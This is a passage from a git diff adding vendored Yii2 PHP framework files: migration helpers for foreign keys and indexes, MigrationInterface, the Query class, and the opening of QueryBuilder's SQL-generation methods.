foreign key constraint. + * @param string $table the table that the foreign key constraint will be added to. + * @param string $columns the name of the column to that the constraint will be added on. If there are multiple columns, separate them with commas or use an array. + * @param string $refTable the table that the foreign key references to. + * @param string $refColumns the name of the column that the foreign key references to. If there are multiple columns, separate them with commas or use an array. + * @param string $delete the ON DELETE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @param string $update the ON UPDATE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + */ + public function addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete = null, $update = null) + { + echo " > add foreign key $name: $table (" . implode(',', (array) $columns) . ") references $refTable (" . implode(',', (array) $refColumns) . ") ..."; + $time = microtime(true); + $this->db->createCommand()->addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete, $update)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds a SQL statement for dropping a foreign key constraint. + * @param string $name the name of the foreign key constraint to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose foreign is to be dropped. The name will be properly quoted by the method. + */ + public function dropForeignKey($name, $table) + { + echo " > drop foreign key $name from table $table ..."; + $time = microtime(true); + $this->db->createCommand()->dropForeignKey($name, $table)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for creating a new index. + * @param string $name the name of the index. The name will be properly quoted by the method. + * @param string $table the table that the new index will be created for. The table name will be properly quoted by the method. + * @param string|array $columns the column(s) that should be included in the index. If there are multiple columns, please separate them + * by commas or use an array. The column names will be properly quoted by the method. + * @param boolean $unique whether to add UNIQUE constraint on the created index. + */ + public function createIndex($name, $table, $columns, $unique = false) + { + echo " > create" . ($unique ? ' unique' : '') . " index $name on $table (" . implode(',', (array) $columns) . ") ..."; + $time = microtime(true); + $this->db->createCommand()->createIndex($name, $table, $columns, $unique)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for dropping an index. + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + */ + public function dropIndex($name, $table) + { + echo " > drop index $name ..."; + $time = microtime(true); + $this->db->createCommand()->dropIndex($name, $table)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/MigrationInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/db/MigrationInterface.php new file mode 100644 index 00000000..8f9d1573 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/MigrationInterface.php @@ -0,0 +1,35 @@ + + * @since 2.0 + */ +interface MigrationInterface +{ + /** + * This method contains the logic to be executed when applying this migration. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function up(); + + /** + * This method contains the logic to be executed when removing this migration. + * The default implementation throws an exception indicating the migration cannot be removed. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function down(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Query.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Query.php new file mode 100644 index 00000000..39440d7d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Query.php @@ -0,0 +1,802 @@ +select('id, name') + * ->from('user') + * ->limit(10); + * // build and execute the query + * $rows = $query->all(); + * // alternatively, you can create DB command and execute it + * $command = $query->createCommand(); + * // $command->sql returns the actual SQL + * $rows = $command->queryAll(); + * ``` + * + * @author Qiang Xue + * @author Carsten Brandt + * @since 2.0 + */ +class Query extends Component implements QueryInterface +{ + use QueryTrait; + + /** + * @var array the columns being selected. For example, `['id', 'name']`. + * This is used to construct the SELECT clause in a SQL statement. If not set, it means selecting all columns. + * @see select() + */ + public $select; + /** + * @var string additional option that should be appended to the 'SELECT' keyword. For example, + * in MySQL, the option 'SQL_CALC_FOUND_ROWS' can be used. + */ + public $selectOption; + /** + * @var boolean whether to select distinct rows of data only. If this is set true, + * the SELECT clause would be changed to SELECT DISTINCT. + */ + public $distinct; + /** + * @var array the table(s) to be selected from. For example, `['user', 'post']`. + * This is used to construct the FROM clause in a SQL statement. + * @see from() + */ + public $from; + /** + * @var array how to group the query results. For example, `['company', 'department']`. + * This is used to construct the GROUP BY clause in a SQL statement. + */ + public $groupBy; + /** + * @var array how to join with other tables. Each array element represents the specification + * of one join which has the following structure: + * + * ~~~ + * [$joinType, $tableName, $joinCondition] + * ~~~ + * + * For example, + * + * ~~~ + * [ + * ['INNER JOIN', 'user', 'user.id = author_id'], + * ['LEFT JOIN', 'team', 'team.id = team_id'], + * ] + * ~~~ + */ + public $join; + /** + * @var string|array the condition to be applied in the GROUP BY clause. + * It can be either a string or an array. Please refer to [[where()]] on how to specify the condition. + */ + public $having; + /** + * @var array this is used to construct the UNION clause(s) in a SQL statement. + * Each array element is an array of the following structure: + * + * - `query`: either a string or a [[Query]] object representing a query + * - `all`: boolean, whether it should be `UNION ALL` or `UNION` + */ + public $union; + /** + * @var array list of query parameter values indexed by parameter placeholders. + * For example, `[':name' => 'Dan', ':age' => 31]`. + */ + public $params = []; + + + /** + * Creates a DB command that can be used to execute this query. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return Command the created DB command instance. + */ + public function createCommand($db = null) + { + if ($db === null) { + $db = Yii::$app->getDb(); + } + list ($sql, $params) = $db->getQueryBuilder()->build($this); + + return $db->createCommand($sql, $params); + } + + /** + * Prepares for building SQL. + * This method is called by [[QueryBuilder]] when it starts to build SQL from a query object. + * You may override this method to do some final preparation work when converting a query into a SQL statement. + * @param QueryBuilder $builder + * @return Query a prepared query instance which will be used by [[QueryBuilder]] to build the SQL + */ + public function prepare($builder) + { + return $this; + } + + /** + * Starts a batch query. + * + * A batch query supports fetching data in batches, which can keep the memory usage under a limit. + * This method will return a [[BatchQueryResult]] object which implements the `Iterator` interface + * and can be traversed to retrieve the data in batches. + * + * For example, + * + * ```php + * $query = (new Query)->from('user'); + * foreach ($query->batch() as $rows) { + * // $rows is an array of 10 or fewer rows from user table + * } + * ``` + * + * @param integer $batchSize the number of records to be fetched in each batch. + * @param Connection $db the database connection. If not set, the "db" application component will be used. + * @return BatchQueryResult the batch query result. It implements the `Iterator` interface + * and can be traversed to retrieve the data in batches. + */ + public function batch($batchSize = 100, $db = null) + { + return Yii::createObject([ + 'class' => BatchQueryResult::className(), + 'query' => $this, + 'batchSize' => $batchSize, + 'db' => $db, + 'each' => false, + ]); + } + + /** + * Starts a batch query and retrieves data row by row. + * This method is similar to [[batch()]] except that in each iteration of the result, + * only one row of data is returned. For example, + * + * ```php + * $query = (new Query)->from('user'); + * foreach ($query->each() as $row) { + * } + * ``` + * + * @param integer $batchSize the number of records to be fetched in each batch. + * @param Connection $db the database connection. If not set, the "db" application component will be used. + * @return BatchQueryResult the batch query result. It implements the `Iterator` interface + * and can be traversed to retrieve the data in batches. + */ + public function each($batchSize = 100, $db = null) + { + return Yii::createObject([ + 'class' => BatchQueryResult::className(), + 'query' => $this, + 'batchSize' => $batchSize, + 'db' => $db, + 'each' => true, + ]); + } + + /** + * Executes the query and returns all results as an array. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return array the query results. If the query results in nothing, an empty array will be returned. + */ + public function all($db = null) + { + $rows = $this->createCommand($db)->queryAll(); + return $this->populate($rows); + } + + /** + * Converts the raw query results into the format as specified by this query. + * This method is internally used to convert the data fetched from database + * into the format as required by this query. + * @param array $rows the raw query result from database + * @return array the converted query result + */ + public function populate($rows) + { + if ($this->indexBy === null) { + return $rows; + } + $result = []; + foreach ($rows as $row) { + if (is_string($this->indexBy)) { + $key = $row[$this->indexBy]; + } else { + $key = call_user_func($this->indexBy, $row); + } + $result[$key] = $row; + } + return $result; + } + + /** + * Executes the query and returns a single row of result. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return array|boolean the first row (in terms of an array) of the query result. False is returned if the query + * results in nothing. + */ + public function one($db = null) + { + return $this->createCommand($db)->queryOne(); + } + + /** + * Returns the query result as a scalar value. + * The value returned will be the first column in the first row of the query results. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return string|boolean the value of the first column in the first row of the query result. + * False is returned if the query result is empty. + */ + public function scalar($db = null) + { + return $this->createCommand($db)->queryScalar(); + } + + /** + * Executes the query and returns the first column of the result. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return array the first column of the query result. An empty array is returned if the query results in nothing. + */ + public function column($db = null) + { + return $this->createCommand($db)->queryColumn(); + } + + /** + * Returns the number of records. + * @param string $q the COUNT expression. Defaults to '*'. + * Make sure you properly quote column names in the expression. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given (or null), the `db` application component will be used. + * @return integer number of records + */ + public function count($q = '*', $db = null) + { + return $this->queryScalar("COUNT($q)", $db); + } + + /** + * Returns the sum of the specified column values. + * @param string $q the column name or expression. + * Make sure you properly quote column names in the expression. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return mixed the sum of the specified column values + */ + public function sum($q, $db = null) + { + return $this->queryScalar("SUM($q)", $db); + } + + /** + * Returns the average of the specified column values. + * @param string $q the column name or expression. + * Make sure you properly quote column names in the expression. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return mixed the average of the specified column values. + */ + public function average($q, $db = null) + { + return $this->queryScalar("AVG($q)", $db); + } + + /** + * Returns the minimum of the specified column values. + * @param string $q the column name or expression. + * Make sure you properly quote column names in the expression. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return mixed the minimum of the specified column values. + */ + public function min($q, $db = null) + { + return $this->queryScalar("MIN($q)", $db); + } + + /** + * Returns the maximum of the specified column values. + * @param string $q the column name or expression. + * Make sure you properly quote column names in the expression. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return mixed the maximum of the specified column values. + */ + public function max($q, $db = null) + { + return $this->queryScalar("MAX($q)", $db); + } + + /** + * Returns a value indicating whether the query result contains any row of data. + * @param Connection $db the database connection used to generate the SQL statement. + * If this parameter is not given, the `db` application component will be used. + * @return boolean whether the query result contains any row of data. + */ + public function exists($db = null) + { + $select = $this->select; + $this->select = [new Expression('1')]; + $command = $this->createCommand($db); + $this->select = $select; + return $command->queryScalar() !== false; + } + + /** + * Queries a scalar value by setting [[select]] first. + * Restores the value of select to make this query reusable. + * @param string|Expression $selectExpression + * @param Connection|null $db + * @return bool|string + */ + private function queryScalar($selectExpression, $db) + { + $select = $this->select; + $limit = $this->limit; + $offset = $this->offset; + + $this->select = [$selectExpression]; + $this->limit = null; + $this->offset = null; + $command = $this->createCommand($db); + + $this->select = $select; + $this->limit = $limit; + $this->offset = $offset; + + if (empty($this->groupBy) && empty($this->union) && !$this->distinct) { + return $command->queryScalar(); + } else { + return (new Query)->select([$selectExpression]) + ->from(['c' => $this]) + ->createCommand($command->db) + ->queryScalar(); + } + } + + /** + * Sets the SELECT part of the query. + * @param string|array $columns the columns to be selected. + * Columns can be specified in either a string (e.g. "id, name") or an array (e.g. ['id', 'name']). + * Columns can be prefixed with table names (e.g. "user.id") and/or contain column aliases (e.g. "user.id AS user_id"). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * + * Note that if you are selecting an expression like `CONCAT(first_name, ' ', last_name)`, you should + * use an array to specify the columns. Otherwise, the expression may be incorrectly split into several parts. + * + * When the columns are specified as an array, you may also use array keys as the column aliases (if a column + * does not need alias, do not use a string key). + * + * @param string $option additional option that should be appended to the 'SELECT' keyword. For example, + * in MySQL, the option 'SQL_CALC_FOUND_ROWS' can be used. + * @return static the query object itself + */ + public function select($columns, $option = null) + { + if (!is_array($columns)) { + $columns = preg_split('/\s*,\s*/', trim($columns), -1, PREG_SPLIT_NO_EMPTY); + } + $this->select = $columns; + $this->selectOption = $option; + return $this; + } + + /** + * Add more columns to the SELECT part of the query. + * @param string|array $columns the columns to add to the select. + * @return static the query object itself + * @see select() + */ + public function addSelect($columns) + { + if (!is_array($columns)) { + $columns = preg_split('/\s*,\s*/', trim($columns), -1, PREG_SPLIT_NO_EMPTY); + } + if ($this->select === null) { + $this->select = $columns; + } else { + $this->select = array_merge($this->select, $columns); + } + return $this; + } + + /** + * Sets the value indicating whether to SELECT DISTINCT or not. + * @param boolean $value whether to SELECT DISTINCT or not. + * @return static the query object itself + */ + public function distinct($value = true) + { + $this->distinct = $value; + return $this; + } + + /** + * Sets the FROM part of the query. + * @param string|array $tables the table(s) to be selected from. This can be either a string (e.g. `'user'`) + * or an array (e.g. `['user', 'profile']`) specifying one or several table names. + * Table names can contain schema prefixes (e.g. `'public.user'`) and/or table aliases (e.g. `'user u'`). + * The method will automatically quote the table names unless it contains some parenthesis + * (which means the table is given as a sub-query or DB expression). + * + * When the tables are specified as an array, you may also use the array keys as the table aliases + * (if a table does not need alias, do not use a string key). + * + * Use a Query object to represent a sub-query. In this case, the corresponding array key will be used + * as the alias for the sub-query. + * + * @return static the query object itself + */ + public function from($tables) + { + if (!is_array($tables)) { + $tables = preg_split('/\s*,\s*/', trim($tables), -1, PREG_SPLIT_NO_EMPTY); + } + $this->from = $tables; + return $this; + } + + /** + * Sets the WHERE part of the query. + * + * The method requires a `$condition` parameter, and optionally a `$params` parameter + * specifying the values to be bound to the query. + * + * The `$condition` parameter should be either a string (e.g. `'id=1'`) or an array. + * + * @inheritdoc + * + * @param string|array $condition the conditions that should be put in the WHERE part. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see andWhere() + * @see orWhere() + * @see QueryInterface::where() + */ + public function where($condition, $params = []) + { + $this->where = $condition; + $this->addParams($params); + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see where() + * @see orWhere() + */ + public function andWhere($condition, $params = []) + { + if ($this->where === null) { + $this->where = $condition; + } else { + $this->where = ['and', $this->where, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Adds an additional WHERE condition to the existing one. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param string|array $condition the new WHERE condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see where() + * @see andWhere() + */ + public function orWhere($condition, $params = []) + { + if ($this->where === null) { + $this->where = $condition; + } else { + $this->where = ['or', $this->where, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Appends a JOIN part to the query. + * The first parameter specifies what type of join it is. + * @param string $type the type of join, such as INNER JOIN, LEFT JOIN. + * @param string|array $table the table to be joined. + * + * Use string to represent the name of the table to be joined. + * Table name can contain schema prefix (e.g. 'public.user') and/or table alias (e.g. 'user u'). + * The method will automatically quote the table name unless it contains some parenthesis + * (which means the table is given as a sub-query or DB expression). + * + * Use array to represent joining with a sub-query. The array must contain only one element. + * The value must be a Query object representing the sub-query while the corresponding key + * represents the alias for the sub-query. + * + * @param string|array $on the join condition that should appear in the ON part. + * Please refer to [[where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return Query the query object itself + */ + public function join($type, $table, $on = '', $params = []) + { + $this->join[] = [$type, $table, $on]; + return $this->addParams($params); + } + + /** + * Appends an INNER JOIN part to the query. + * @param string|array $table the table to be joined. + * + * Use string to represent the name of the table to be joined. + * Table name can contain schema prefix (e.g. 'public.user') and/or table alias (e.g. 'user u'). + * The method will automatically quote the table name unless it contains some parenthesis + * (which means the table is given as a sub-query or DB expression). + * + * Use array to represent joining with a sub-query. The array must contain only one element. + * The value must be a Query object representing the sub-query while the corresponding key + * represents the alias for the sub-query. + * + * @param string|array $on the join condition that should appear in the ON part. + * Please refer to [[where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return Query the query object itself + */ + public function innerJoin($table, $on = '', $params = []) + { + $this->join[] = ['INNER JOIN', $table, $on]; + return $this->addParams($params); + } + + /** + * Appends a LEFT OUTER JOIN part to the query. + * @param string|array $table the table to be joined. + * + * Use string to represent the name of the table to be joined. + * Table name can contain schema prefix (e.g. 'public.user') and/or table alias (e.g. 'user u'). + * The method will automatically quote the table name unless it contains some parenthesis + * (which means the table is given as a sub-query or DB expression). + * + * Use array to represent joining with a sub-query. The array must contain only one element. + * The value must be a Query object representing the sub-query while the corresponding key + * represents the alias for the sub-query. + * + * @param string|array $on the join condition that should appear in the ON part. + * Please refer to [[where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query + * @return Query the query object itself + */ + public function leftJoin($table, $on = '', $params = []) + { + $this->join[] = ['LEFT JOIN', $table, $on]; + return $this->addParams($params); + } + + /** + * Appends a RIGHT OUTER JOIN part to the query. + * @param string|array $table the table to be joined. + * + * Use string to represent the name of the table to be joined. + * Table name can contain schema prefix (e.g. 'public.user') and/or table alias (e.g. 'user u'). + * The method will automatically quote the table name unless it contains some parenthesis + * (which means the table is given as a sub-query or DB expression). + * + * Use array to represent joining with a sub-query. The array must contain only one element. + * The value must be a Query object representing the sub-query while the corresponding key + * represents the alias for the sub-query. + * + * @param string|array $on the join condition that should appear in the ON part. + * Please refer to [[where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query + * @return Query the query object itself + */ + public function rightJoin($table, $on = '', $params = []) + { + $this->join[] = ['RIGHT JOIN', $table, $on]; + return $this->addParams($params); + } + + /** + * Sets the GROUP BY part of the query. + * @param string|array $columns the columns to be grouped by. + * Columns can be specified in either a string (e.g. "id, name") or an array (e.g. ['id', 'name']). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * @return static the query object itself + * @see addGroupBy() + */ + public function groupBy($columns) + { + if (!is_array($columns)) { + $columns = preg_split('/\s*,\s*/', trim($columns), -1, PREG_SPLIT_NO_EMPTY); + } + $this->groupBy = $columns; + return $this; + } + + /** + * Adds additional group-by columns to the existing ones. + * @param string|array $columns additional columns to be grouped by. + * Columns can be specified in either a string (e.g. "id, name") or an array (e.g. ['id', 'name']). + * The method will automatically quote the column names unless a column contains some parenthesis + * (which means the column contains a DB expression). + * @return static the query object itself + * @see groupBy() + */ + public function addGroupBy($columns) + { + if (!is_array($columns)) { + $columns = preg_split('/\s*,\s*/', trim($columns), -1, PREG_SPLIT_NO_EMPTY); + } + if ($this->groupBy === null) { + $this->groupBy = $columns; + } else { + $this->groupBy = array_merge($this->groupBy, $columns); + } + return $this; + } + + /** + * Sets the HAVING part of the query. + * @param string|array $condition the conditions to be put after HAVING. + * Please refer to [[where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see andHaving() + * @see orHaving() + */ + public function having($condition, $params = []) + { + $this->having = $condition; + $this->addParams($params); + return $this; + } + + /** + * Adds an additional HAVING condition to the existing one. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param string|array $condition the new HAVING condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see having() + * @see orHaving() + */ + public function andHaving($condition, $params = []) + { + if ($this->having === null) { + $this->having = $condition; + } else { + $this->having = ['and', $this->having, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Adds an additional HAVING condition to the existing one. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param string|array $condition the new HAVING condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see having() + * @see andHaving() + */ + public function orHaving($condition, $params = []) + { + if ($this->having === null) { + $this->having = $condition; + } else { + $this->having = ['or', $this->having, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Appends a SQL statement using UNION operator. + * @param string|Query $sql the SQL statement to be appended using UNION + * @param boolean $all TRUE if using UNION ALL and FALSE if using UNION + * @return static the query object itself + */ + public function union($sql, $all = false) + { + $this->union[] = [ 'query' => $sql, 'all' => $all ]; + return $this; + } + + /** + * Sets the parameters to be bound to the query. + * @param array $params list of query parameter values indexed by parameter placeholders. + * For example, `[':name' => 'Dan', ':age' => 31]`. + * @return static the query object itself + * @see addParams() + */ + public function params($params) + { + $this->params = $params; + return $this; + } + + /** + * Adds additional parameters to be bound to the query. + * @param array $params list of query parameter values indexed by parameter placeholders. + * For example, `[':name' => 'Dan', ':age' => 31]`. + * @return static the query object itself + * @see params() + */ + public function addParams($params) + { + if (!empty($params)) { + if (empty($this->params)) { + $this->params = $params; + } else { + foreach ($params as $name => $value) { + if (is_integer($name)) { + $this->params[] = $value; + } else { + $this->params[$name] = $value; + } + } + } + } + return $this; + } + + /** + * Creates a new Query object and copies its property values from an existing one. + * The properties being copies are the ones to be used by query builders. + * @param Query $from the source query object + * @return Query the new Query object + */ + public static function create($from) + { + return new self([ + 'where' => $from->where, + 'limit' => $from->limit, + 'offset' => $from->offset, + 'orderBy' => $from->orderBy, + 'indexBy' => $from->indexBy, + 'select' => $from->select, + 'selectOption' => $from->selectOption, + 'distinct' => $from->distinct, + 'from' => $from->from, + 'groupBy' => $from->groupBy, + 'join' => $from->join, + 'having' => $from->having, + 'union' => $from->union, + 'params' => $from->params, + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryBuilder.php new file mode 100644 index 00000000..cbee58df --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryBuilder.php @@ -0,0 +1,1247 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\base\Object +{ + /** + * The prefix for automatically generated query binding parameters. + */ + const PARAM_PREFIX = ':qp'; + + /** + * @var Connection the database connection. + */ + public $db; + /** + * @var string the separator between different fragments of a SQL statement. + * Defaults to an empty space. This is mainly used by [[build()]] when generating a SQL statement. + */ + public $separator = " "; + /** + * @var array the abstract column types mapped to physical column types. + * This is mainly used to support creating/modifying tables using DB-independent data type specifications. + * Child classes should override this property to declare supported type mappings. + */ + public $typeMap = []; + + /** + * @var array map of query condition to builder methods. + * These methods are used by [[buildCondition]] to build SQL conditions from array syntax. + */ + protected $conditionBuilders = [ + 'NOT' => 'buildNotCondition', + 'AND' => 'buildAndCondition', + 'OR' => 'buildAndCondition', + 'BETWEEN' => 'buildBetweenCondition', + 'NOT BETWEEN' => 'buildBetweenCondition', + 'IN' => 'buildInCondition', + 'NOT IN' => 'buildInCondition', + 'LIKE' => 'buildLikeCondition', + 'NOT LIKE' => 'buildLikeCondition', + 'OR LIKE' => 'buildLikeCondition', + 'OR NOT LIKE' => 'buildLikeCondition', + 'EXISTS' => 'buildExistsCondition', + 'NOT EXISTS' => 'buildExistsCondition', + ]; + + + /** + * Constructor. + * @param Connection $connection the database connection. + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($connection, $config = []) + { + $this->db = $connection; + parent::__construct($config); + } + + /** + * Generates a SELECT SQL statement from a [[Query]] object. + * @param Query $query the [[Query]] object from which the SQL statement will be generated. + * @param array $params the parameters to be bound to the generated SQL statement. These parameters will + * be included in the result with the additional parameters generated during the query building process. + * @return array the generated SQL statement (the first array element) and the corresponding + * parameters to be bound to the SQL statement (the second array element). The parameters returned + * include those provided in `$params`. + */ + public function build($query, $params = []) + { + $query = $query->prepare($this); + + $params = empty($params) ? $query->params : array_merge($params, $query->params); + + $clauses = [ + $this->buildSelect($query->select, $params, $query->distinct, $query->selectOption), + $this->buildFrom($query->from, $params), + $this->buildJoin($query->join, $params), + $this->buildWhere($query->where, $params), + $this->buildGroupBy($query->groupBy), + $this->buildHaving($query->having, $params), + ]; + + $sql = implode($this->separator, array_filter($clauses)); + $sql = $this->buildOrderByAndLimit($sql, $query->orderBy, $query->limit, $query->offset); + + $union = $this->buildUnion($query->union, $params); + if ($union !== '') { + $sql = "($sql){$this->separator}$union"; + } + + return [$sql, $params]; + } + + /** + * Creates an INSERT SQL statement. + * For example, + * + * ~~~ + * $sql = $queryBuilder->insert('user', [ + * 'name' => 'Sam', + * 'age' => 30, + * ], $params); + * ~~~ + * + * The method will properly escape the table and column names. + * + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column data (name => value) to be inserted into the table. + * @param array $params the binding parameters that will be generated by this method. + * They should be bound to the DB command later. + * @return string the INSERT SQL + */ + public function insert($table, $columns, &$params) + { + $schema = $this->db->getSchema(); + if (($tableSchema = $schema->getTableSchema($table)) !== null) { + $columnSchemas = $tableSchema->columns; + } else { + $columnSchemas = []; + } + $names = []; + $placeholders = []; + foreach ($columns as $name => $value) { + $names[] = $schema->quoteColumnName($name); + if ($value instanceof Expression) { + $placeholders[] = $value->expression; + foreach ($value->params as $n => $v) { + $params[$n] = $v; + } + } else { + $phName = self::PARAM_PREFIX . count($params); + $placeholders[] = $phName; + $params[$phName] = !is_array($value) && isset($columnSchemas[$name]) ? $columnSchemas[$name]->dbTypecast($value) : $value; + } + } + + return 'INSERT INTO ' . $schema->quoteTableName($table) + . ' (' . implode(', ', $names) . ') VALUES (' + . implode(', ', $placeholders) . ')'; + } + + /** + * Generates a batch INSERT SQL statement. + * For example, + * + * ~~~ + * $sql = $queryBuilder->batchInsert('user', ['name', 'age'], [ + * ['Tom', 30], + * ['Jane', 20], + * ['Linda', 25], + * ]); + * ~~~ + * + * Note that the values in each row must match the corresponding column names. + * + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column names + * @param array $rows the rows to be batch inserted into the table + * @return string the batch INSERT SQL statement + */ + public function batchInsert($table, $columns, $rows) + { + $schema = $this->db->getSchema(); + if (($tableSchema = $schema->getTableSchema($table)) !== null) { + $columnSchemas = $tableSchema->columns; + } else { + $columnSchemas = []; + } + + $values = []; + foreach ($rows as $row) { + $vs = []; + foreach ($row as $i => $value) { + if (!is_array($value) && isset($columnSchemas[$columns[$i]])) { + $value = $columnSchemas[$columns[$i]]->dbTypecast($value); + } + if (is_string($value)) { + $value = $schema->quoteValue($value); + } elseif ($value === false) { + $value = 0; + } elseif ($value === null) { + $value = 'NULL'; + } + $vs[] = $value; + } + $values[] = '(' . implode(', ', $vs) . ')'; + } + + foreach ($columns as $i => $name) { + $columns[$i] = $schema->quoteColumnName($name); + } + + return 'INSERT INTO ' . $schema->quoteTableName($table) + . ' (' . implode(', ', $columns) . ') VALUES ' . implode(', ', $values); + } + + /** + * Creates an UPDATE SQL statement. + * For example, + * + * ~~~ + * $params = []; + * $sql = $queryBuilder->update('user', ['status' => 1], 'age > 30', $params); + * ~~~ + * + * The method will properly escape the table and column names. + * + * @param string $table the table to be updated. + * @param array $columns the column data (name => value) to be updated. + * @param array|string $condition the condition that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify condition. + * @param array $params the binding parameters that will be modified by this method + * so that they can be bound to the DB command later. + * @return string the UPDATE SQL + */ + public function update($table, $columns, $condition, &$params) + { + if (($tableSchema = $this->db->getTableSchema($table)) !== null) { + $columnSchemas = $tableSchema->columns; + } else { + $columnSchemas = []; + } + + $lines = []; + foreach ($columns as $name => $value) { + if ($value instanceof Expression) { + $lines[] = $this->db->quoteColumnName($name) . '=' . $value->expression; + foreach ($value->params as $n => $v) { + $params[$n] = $v; + } + } else { + $phName = self::PARAM_PREFIX . count($params); + $lines[] = $this->db->quoteColumnName($name) . '=' . $phName; + $params[$phName] = !is_array($value) && isset($columnSchemas[$name]) ? $columnSchemas[$name]->dbTypecast($value) : $value; + } + } + + $sql = 'UPDATE ' . $this->db->quoteTableName($table) . ' SET ' . implode(', ', $lines); + $where = $this->buildWhere($condition, $params); + + return $where === '' ? $sql : $sql . ' ' . $where; + } + + /** + * Creates a DELETE SQL statement. + * For example, + * + * ~~~ + * $sql = $queryBuilder->delete('user', 'status = 0'); + * ~~~ + * + * The method will properly escape the table and column names. + * + * @param string $table the table where the data will be deleted from. + * @param array|string $condition the condition that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify condition. + * @param array $params the binding parameters that will be modified by this method + * so that they can be bound to the DB command later. + * @return string the DELETE SQL + */ + public function delete($table, $condition, &$params) + { + $sql = 'DELETE FROM ' . $this->db->quoteTableName($table); + $where = $this->buildWhere($condition, $params); + + return $where === '' ? $sql : $sql . ' ' . $where; + } + + /** + * Builds a SQL statement for creating a new DB table. + * + * The columns in the new table should be specified as name-definition pairs (e.g. 'name' => 'string'), + * where name stands for a column name which will be properly quoted by the method, and definition + * stands for the column type which can contain an abstract DB type. + * The [[getColumnType()]] method will be invoked to convert any abstract type into a physical one. + * + * If a column is specified with definition only (e.g. 'PRIMARY KEY (name, type)'), it will be directly + * inserted into the generated SQL. + * + * For example, + * + * ~~~ + * $sql = $queryBuilder->createTable('user', [ + * 'id' => 'pk', + * 'name' => 'string', + * 'age' => 'integer', + * ]); + * ~~~ + * + * @param string $table the name of the table to be created. The name will be properly quoted by the method. + * @param array $columns the columns (name => definition) in the new table. + * @param string $options additional SQL fragment that will be appended to the generated SQL. + * @return string the SQL statement for creating a new DB table. + */ + public function createTable($table, $columns, $options = null) + { + $cols = []; + foreach ($columns as $name => $type) { + if (is_string($name)) { + $cols[] = "\t" . $this->db->quoteColumnName($name) . ' ' . $this->getColumnType($type); + } else { + $cols[] = "\t" . $type; + } + } + $sql = "CREATE TABLE " . 